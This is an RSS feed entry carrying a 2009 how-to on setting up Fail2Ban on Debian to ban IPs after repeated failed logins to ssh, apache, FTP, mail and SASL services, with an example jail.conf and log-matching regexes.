			<description>&lt;p&gt;&amp;nbsp;Howto use Fail2Ban to lock out evil Haxxors after they fail trying to log in to your systems.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;em&gt; (ssh, apache, vsftp, proftp, wuftp, postfix, couriersmtp, sasl&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;general info:&lt;/p&gt;
&lt;p&gt;install (Debian):&lt;br /&gt; apt-get install fail.ban&lt;/p&gt;
&lt;p&gt;configuration files:&lt;br /&gt; /etc/fail2ban/fail2ban.conf&lt;br /&gt; /etc/fail2ban/jail.conf&lt;/p&gt;
&lt;p&gt;fail2ban.conf&lt;br /&gt; Default seetings seem to be ok.&lt;br /&gt; jail.conf&lt;br /&gt; In this file you can set&lt;br /&gt; #maxretry    change this to what you think is neccesary&lt;br /&gt; #bantime     #seconds for someone to be banned (default = 600)&lt;br /&gt; -enable the deamons you want to monitor&lt;br /&gt; -set the email address&lt;/p&gt;
&lt;p&gt;If you want to do some extra configuration&lt;br /&gt; (like set different logfiles or change the ban-action, then this can be done in this file (jail.conf). For standard use, these settings seem to be ok.&lt;/p&gt;
&lt;p&gt;filter.d&lt;br /&gt; jail.conf contains references to patterns in the folder filter.d&lt;br /&gt; New configurations can be added here.&lt;/p&gt;
&lt;p&gt;example conf.:&lt;/p&gt;
&lt;pre&gt;# &quot;ignoreip&quot; can be an IP address, a CIDR mask or a DNS host&lt;br /&gt;ignoreip = 127.0.0.1 192.168.0.99&lt;br /&gt;bantime  = 600&lt;br /&gt;maxretry = 3&lt;br /&gt;&lt;br /&gt;# &quot;backend&quot; specifies the backend used to get files modification. Available&lt;br /&gt;# options are &quot;gamin&quot;, &quot;polling&quot; and &quot;auto&quot;.&lt;br /&gt;# yoh: For some reason Debian shipped python-gamin didn't work as expected&lt;br /&gt;#      This issue left ToDo, so polling is default backend for now&lt;br /&gt;backend = polling&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# Destination email address used solely for the interpolations in&lt;br /&gt;# jail.{conf,local} configuration files.&lt;br /&gt;destemail = root@localhost&lt;br /&gt;&lt;br /&gt;# Default action to take: ban only&lt;br /&gt;action = iptables[name=%(__name__)s, port=%(port)s]&lt;br /&gt;&lt;br /&gt;[ssh]&lt;br /&gt;&lt;br /&gt;enabled = true&lt;br /&gt;port    = ssh&lt;br /&gt;filter  = sshd&lt;br /&gt;logpath  = /var/log/auth.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[apache]&lt;br /&gt;&lt;br /&gt;enabled = true&lt;br /&gt;port    = http&lt;br /&gt;filter  = apache-auth&lt;br /&gt;logpath = /var/log/apache*/*error.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[apache-noscript]&lt;br /&gt;&lt;br /&gt;enabled = false&lt;br /&gt;port    = http&lt;br /&gt;filter  = apache-noscript&lt;br /&gt;logpath = /var/log/apache*/*error.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;# Ban hosts which agent identifies spammer robots crawling the web&lt;br /&gt;# for email addresses. The mail outputs are buffered.&lt;br /&gt;[apache-badbots]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;filter   = apache-badbots&lt;br /&gt;action   = iptables-multiport[name=BadBots, port=&quot;http,https&quot;]&lt;br /&gt;sendmail-buffered[name=BadBots, lines=5, dest=you@mail.com]&lt;br /&gt;logpath  = /var/www/*/logs/access_log&lt;br /&gt;bantime  = 172800&lt;br /&gt;maxretry = 1&lt;br /&gt;&lt;br /&gt;[apache-tcpwrapper]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;filter   = apache-auth&lt;br /&gt;action   = hostsdeny&lt;br /&gt;logpath  = /var/log/apache*/*access.log&lt;br /&gt;/home/www/myhomepage/access.log&lt;br /&gt;maxretry = 6&lt;br /&gt;&lt;br /&gt;# Use shorewall instead of iptables.&lt;br /&gt;&lt;br /&gt;[apache-shorewall]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;filter   = apache-noscript&lt;br /&gt;action   = shorewall&lt;br /&gt;sendmail[name=Postfix, dest=you@mail.com]&lt;br /&gt;logpath  = /var/log/apache2/error_log&lt;br /&gt;&lt;br /&gt;# This jail uses ipfw, the standard firewall on FreeBSD. The &quot;ignoreip&quot;&lt;br /&gt;# option is overridden in this jail. Moreover, the action &quot;mail-whois&quot; defines&lt;br /&gt;# the variable &quot;name&quot; which contains a comma using &quot;&quot;. The characters '' are&lt;br /&gt;# valid too.&lt;br /&gt;[ssh-ipfw]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;filter   = sshd&lt;br /&gt;action   = ipfw[localhost=192.168.0.1]&lt;br /&gt;sendmail-whois[name=&quot;SSH,IPFW&quot;, dest=you@mail.com]&lt;br /&gt;logpath  = /var/log/auth.log&lt;br /&gt;ignoreip = 168.192.0.1&lt;br /&gt;&lt;br /&gt;# These jails block attacks against named (bind9). By default, logging is off&lt;br /&gt;# with bind9 installation. You will need something like this:&lt;br /&gt;#&lt;br /&gt;# logging {&lt;br /&gt;#     channel lame-servers_file {&lt;br /&gt;#         file &quot;/var/log/named/lame-servers.log&quot; versions 3 size 30m;&lt;br /&gt;#         severity dynamic;&lt;br /&gt;#         print-time yes;&lt;br /&gt;#     };&lt;br /&gt;#     category lame-servers {&lt;br /&gt;#         lame-servers_file;&lt;br /&gt;#     };&lt;br /&gt;# }&lt;br /&gt;#&lt;br /&gt;# in your named.conf to provide proper logging.&lt;br /&gt;# This jail blocks UDP traffic for DNS requests.&lt;br /&gt;&lt;br /&gt;[named-refused-udp]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;filter   = named-refused&lt;br /&gt;action   = iptables-multiport[name=Named, port=&quot;domain,953&quot;, protocol=udp]&lt;br /&gt;sendmail-whois[name=Named, dest=you@mail.com]&lt;br /&gt;logpath  = /var/log/named/lame-servers.log&lt;br /&gt;ignoreip = 168.192.0.1&lt;br /&gt;&lt;br /&gt;[vsftpd]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;port     = ftp&lt;br /&gt;filter   = vsftpd&lt;br /&gt;logpath  = /var/log/auth.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[proftpd]&lt;br /&gt;&lt;br /&gt;enabled  = true&lt;br /&gt;port     = ftp&lt;br /&gt;filter   = proftpd&lt;br /&gt;logpath  = /var/log/auth.log&lt;br /&gt;failregex = proftpd: \(pam_unix\) authentication failure; .* rhost=&amp;lt;HOST&amp;gt;&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[wuftpd]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;port     = ftp&lt;br /&gt;filter   = wuftpd&lt;br /&gt;logpath  = /var/log/auth.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[postfix]&lt;br /&gt;&lt;br /&gt;enabled  = false&lt;br /&gt;port     = smtp&lt;br /&gt;filter   = postfix&lt;br /&gt;logpath  = /var/log/mail.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[courierpop3]&lt;br /&gt;&lt;br /&gt;enabled  = true&lt;br /&gt;port     = pop3&lt;br /&gt;filter   = courierlogin&lt;br /&gt;failregex = courierpop3login: LOGIN FAILED.*ip=\[.*:&amp;lt;HOST&amp;gt;\]&lt;br /&gt;logpath  = /var/log/mail.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[courierimap]&lt;br /&gt;&lt;br /&gt;enabled  = true&lt;br /&gt;port     = imap2&lt;br /&gt;filter   = courierlogin&lt;br /&gt;failregex = imapd: LOGIN FAILED.*ip=\[.*:&amp;lt;HOST&amp;gt;\]&lt;br /&gt;logpath  = /var/log/mail.log&lt;br /&gt;maxretry = 5&lt;br /&gt;&lt;br /&gt;[sasl]&lt;br /&gt;&lt;br /&gt;enabled  = true&lt;br /&gt;port     = smtp&lt;br /&gt;filter   = sasl&lt;br /&gt;failregex = warning: [-._\w]+\[&amp;lt;HOST&amp;gt;\]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed&lt;br /&gt;logpath  = /var/log/mail.log&lt;br /&gt;maxretry = 5&lt;/pre&gt;</description>
			<pubDate>Mon, 26 Jan 2009 12:27:44 +0100</pubDate>
			
			<guid>http://www.lxer.nl/webdevelopment/fail2ban-prevent-bruteforce-attacks/</guid>
		</item>
		

	</channel>
</rss>